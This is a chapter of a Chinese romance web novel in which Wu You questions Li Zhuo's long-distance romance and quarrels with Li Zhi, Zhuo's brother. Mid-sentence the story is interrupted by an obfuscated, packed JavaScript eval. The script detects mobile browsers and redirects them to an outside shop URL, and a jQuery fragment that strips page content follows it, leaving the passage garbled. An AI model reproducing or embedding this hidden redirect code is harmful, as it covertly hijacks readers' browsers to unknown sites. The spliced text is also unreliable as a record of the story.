回到上海家里,琢子在卧房收拾出差的行李。一只22寸行李箱塞得满满当当,喊吴优过来帮忙压实。
“去北京一周也不用带这么多衣服吧?”
“我申请了三个月的长期项目。”
琢子狡黠得冲吴优眨了眨眼:“以后周中就你和我哥单独在家了,我周末才会回来。”
言外之意,你俩好自为之。
吴优翻看了下,里面还有冬款披袄和斗篷。琢子最近迷上了汉服,看来是准备下班出门拍照穿的。
新入职的年轻人真有精力,她现在早晨经常随手套件冲锋衣就出门了……
周日的夜晚,白天玩了一天人有点疲顿,两人靠在琢子床上跟乔靓闲聊。
“我看了天气预报,可能要下雪,约了朋友去拍故宫雪景写真。”
“北京哪个朋友,和你同期的那个男生?男摄拍得好造型么?”
吴优记得那个实习生,来部门找过李琢,听她说拍照技术不错,但男人的审美拍人像靠谱么?
“咱琢子明显是有情况呀,情人相机出西施!”
视频对面的兔姐想冲出来摇晃吴优的肩膀,真是不解风情的女人……不得不说,对自己感情钝感的人,对别人的八卦也永远是最后察觉。
“叫啥呢?”、“梁暄……”“照片分享下~”
一石激起千层浪,三言两嘴基本情况就被群里摸透了,是不错的一男生。
跟李琢一同校招时就认识,北方人。工作能力强、条儿也顺,别管梁的、热的,总之挺亮眼。
原来琢子申请去北京项目,不止是为了远离哥哥和优姐的剑拔弩张,也有一点不好意思说出来的小心思。
被乔靓戳穿后,李琢脸红地好似烧起来的晚霞。
她读研时的导师是业内大拿,以严苛知名。琢子又好强,一边泡实验室、一边忙实习,根本没时间恋爱。
迟到的少女情愫,像霹雳吧啦响的奶油爆米花,甜蜜的味道根本藏不住。
反而让吴优和兔姐都一阵恍惚,这种不管不顾的春心萌动对她们都太过陌生了。
好似艳阳天里耀目的光线,有点刺眼。
停了片刻,吴优皱了皱眉:“可我记得你说梁暄确定要在北京发展的?”
之前琢子毕业意向纠结过,有个关系不错的男生选了北京,原来伏线埋了这么久。
当时吴优还感到不解:李琢在上海读的书,家又离得这么近,校友和实习资源都在这边。还可以直接住在哥哥家,免受大城市租房之苦,为什么会想要选北京?
果然事出反常必有妖啊~
想必是母亲顾秀青的身体状态变差,替琢子做了抉择,才放弃了北京的机会。
“梁暄是打算落户后在北京买房的,他大学也在那上的。”
吴优看着琢子这个标准的江南姑娘,有点欲言又止。她毕业前也曾经在北京实习过半年,后来还是申请调回base上海。虽然跟父母不太亲近,但从上海回家乡只要一小时,民风饮食、乃至方言习俗都相通熟悉。
北国风光很美,冬日什刹海冰场上与朋友的嬉戏让她怀念。可也很广阔寥落,加完班走在刺骨寒夜中,干燥的西北风凌厉地刮在脸上,总还是会念起长三角的温润细腻。
何况琢子这种从小跟母亲、哥哥感情很好的女孩……这次陪他们回h城,吴优时常有一种陌生茫然的感觉,她没有体验过这种家庭氛围。
吴优自幼生活在严苛的环境,可能来自于父母职业的原因,很多事情像被丈量过一样,有对或不对两种判定。
但顾秀青和李执、李琢的相处里,没有这种界限分明的标准,一家人更像宅前清潭的游鱼,自由随性。母亲不会管女儿的奇装异服,也不会过问她待在花房发呆是做什么,女儿又很黏母亲,会陪着她去串门打牌。
不像吴优,现在回家经常有种做客的感觉。她也从来不会和黎昕一起逛街。
“你是要跟他异地恋,还是以后换到北京工作,忍心离妈妈那么远么?”
“我没想好呢,正好公司目前项目可以选base北京嘛,周末回来上海也行。”
李琢的脸颊赧得绯红,被追问地不太好意思。年轻女孩的爱恋还处于懵懂期,之前一直羞涩地捂着。
是人间四月天最轻软的风。显得吴优的问题现实得不合时宜,她觉得自己也成那种“讨厌的大人”了,总是一针见血。
好稚嫩的感情,吴优想起了萧薇说过的:恋爱就是在雨中的街头,轻舞起一曲探戈。随性而行,随遇而安。
作孽啊,她一个理性女为什么会被一群文艺女包围……
吴优探身出去,看到李执在客厅,摆手喊他过来。
李执攥着一杯调好的西柚气泡水,转身去了吧台。从那几层精致的陶瓷杯盘里挑出今日的“幸运儿”,给吴优做了杯热可可,李琢则是一贯睡前喝温牛奶就行。
吴优搬来后,经常赖到琢子屋里,在她床上聊天刷剧。李执基本不参与女孩子们的讨论,也怕她们不自在。
马克杯里是滚烫的热可可,吴优接过来捧在手中尝了一口。一降温,体内开关好像被触发,总喜欢喝点甜甜的。
李执斜倚在门口,拿过手机看了下照片,是张私下与朋友打篮球的运动照。挺白净的高个子男生,人看着也挺爽朗。
又瞟了眼琢子,刚刚群里的讨论他自然是看到了。
真行,春天校招就有苗头了,现在才跟家里人透底。也怪自己天天忙着生意和母亲病情,没办法分心。
吴优等李执发表意见,性子有点急,幽幽提醒他:“这个男生可是铁定要在北京定居的……”
李执抿了一口气泡水,斟酌了片刻,问妹妹:“你习惯北方的气候和饮食么?试试也行。要是不喜欢,随时回上海,这边有家人朋友照应。”
琢子坚定地点了点头,她跟梁暄认识快一年,第一面就互相crush。中间忙着论文、毕业、入职,终于两人都稳定后,他向她表白了。
吴优狠狠瞪了李执一眼,对自己的亲妹妹说话用得着这么含蓄么,琢子又听不出他的话外之音。
男人在感情问题上都是这么黏黏糊糊的么?她不一样,一贯利索行事,坏人她来当!
“那你想过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244986|148574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么?你们暧昧这么久,为什么工作他还要选北京,不选上海。明知道你留在这边有家人朋友。”
琢子被问得有点气结,梁暄父母在北京多年,家里关系都在北方。但这依然有点替他找补的意思,她也有相依为命的母亲和哥哥啊。
或许仅仅是梁暄对自己更固守,而李琢对感情更坚定。纯粹可爱的姑娘,以无道应有道,像花开不绝的重瓣朱槿,不论朝暮、简明热烈。
相恋男女的局势,往往像棋手对峙,是至亲至疏的关系。有人主掌大局,也有人顺应跟随。外人看来费解不已,局内人却往往甘之如饴。
屋里的地暖温度有点高,琢子拿起牛奶喝了一口,甜甜地、依然不太解渴。
李琢预感到优姐会提出意见,彼此关系足够好。吴优又多工作那么四五年,见过太多都市男女在灯红酒绿中,从情迷意乱到情消意散。心早就安若磐石、不可撼动。
吴优不是感性的人,何况这种一开始就异地相隔的恋爱,定要女孩子多付出一点点的爱情。
“我想试试,最后总有解决办法的……”但李琢是一个为爱勇敢的女孩。
“没有未来的感情我不会开始,男女crush是很简单的一件事。可很多人本身是不合适的,何必随便开始浪费时间?”
李执自然不想让妹妹远走他乡,但吴优此时的话语在他耳里多了一层意味。
像在描摹他们间的情形……可是那么刺耳,像是利器划在玻璃上的尖锐;又是那么钝疼,仿佛厚重的冰面被一下一下地凿着。
视线落在远处,俯视城市的夜景。楼宇的缝隙里风在游走,把乔木拉扯摇曳。月光穿梭于云层间影影绰绰,虚幻莫测、并不真切。
李执从来知道吴优对他是有一点情愫的,他们拥抱接吻时她会陶醉地闭眼,同床共眠时会窝在他胸口狠蹭。可她给这份情愫的定义是:没有未来、简单crush、不合适。
她劝琢子的那些话语,仿佛明镜般映照着,她自己的坚硬凉薄。你给点热气,也不过生层水雾,擦去了还是寒。是冬天的早晨醒来,指尖触到窗玻璃的冰冷。
她有什么资格指导别人恋爱?她自己都不知道如何爱一个人。
一定要像她那样算计么,琢子这样单纯地过着,不也每日心清气爽、言笑晏晏。
“早点睡吧,晚安,明天还要上班。”白天开了高速,李执有点累,转身准备走。
“喂,你做哥哥的不发表意见么?”
吴优最讨厌人敷衍她,才十点半,鬼才信李执这个点睡觉。她捧着热可可生气瞪他。
李执看着她这幅自以为是又指手画脚的模样,心中火压不住了……
真是一个自负、自傲、自大的人,对别人、对自己;对情人、对朋友。
他真是上了贼船,看上了这样一个女人,把自己搅得原地打转……
“那你觉得我们有没有未来?又是不是在浪费时间?”
李执的话撂下来,琢子觉得屋子里不是温度过高,是要点燃炸药……她现在明白一线战地记者是什么生活状态了,待会儿真得跟沈南风和兔姐求安慰。